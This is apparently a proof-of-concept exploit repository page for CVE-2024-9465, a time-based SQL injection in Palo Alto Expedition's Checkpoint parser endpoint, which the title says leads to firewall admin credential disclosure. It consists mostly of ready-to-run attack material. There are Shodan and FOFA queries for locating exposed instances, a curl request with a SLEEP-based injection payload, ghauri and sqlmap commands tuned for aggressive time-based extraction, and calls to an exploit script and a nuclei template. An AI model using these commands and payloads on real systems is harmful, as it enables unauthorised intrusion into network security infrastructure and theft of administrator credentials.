CVE-2024-9465 PoC — Expedition: SQL Injection Leads to Firewall Admin Credential Disclosure

Source

Associated Vulnerability

Description

Checkpoint SQL Injection via Time-Based Attack (CVE-2024-9465)

Readme

# CVE-2024-9465
Checkpoint SQL Injection via Time-Based Attack (CVE-2024-9465) 

# SHODAN SEARCH
```url
https://www.shodan.io/search?query=html%3A%22Expedition+Project%22

html:"Expedition Project"
```
# FOFA SEARCH
```
https://en.fofa.info/
body="Expedition Project" || title="Expedition Project"
```

# USAGE 
```bash
python3 CVE-2024-9465.py -u https://domain.com
```

# cURL command
```bash
curl -X POST "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=import&type=test&project=pandbRBAC&signatureid=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(10)))horizon3)" \
-w "Total Time: %{time_total}\n" \
-k
```

# Ghauri Command
```bash
ghauri --url "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--technique T \
--dbms mysql \
--time-sec 10 \
-p signatureid \
--threads 10 
```
# SQLMAP command
```bash
sqlmap -u "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--dbms=mysql \
--level 5 --risk 3 \
--time-sec=10 \
--technique=T \
--tamper=space2comment \
--batch --random-agent -v 3
```

# Nuclei command
```bash
nuclei -u https://domain.com -t CVE-2024-9465.yaml -v
```

File Snapshot

 [4.0K]  /data/pocs/210d9b53915870d6e5cd782df6b57377bdbf079e
├── [1.8K]  CVE-2024-9465.py
├── [1.2K]  CVE-2024-9465.yaml
└── [1.3K]  README.md

0 directories, 3 files

Remarks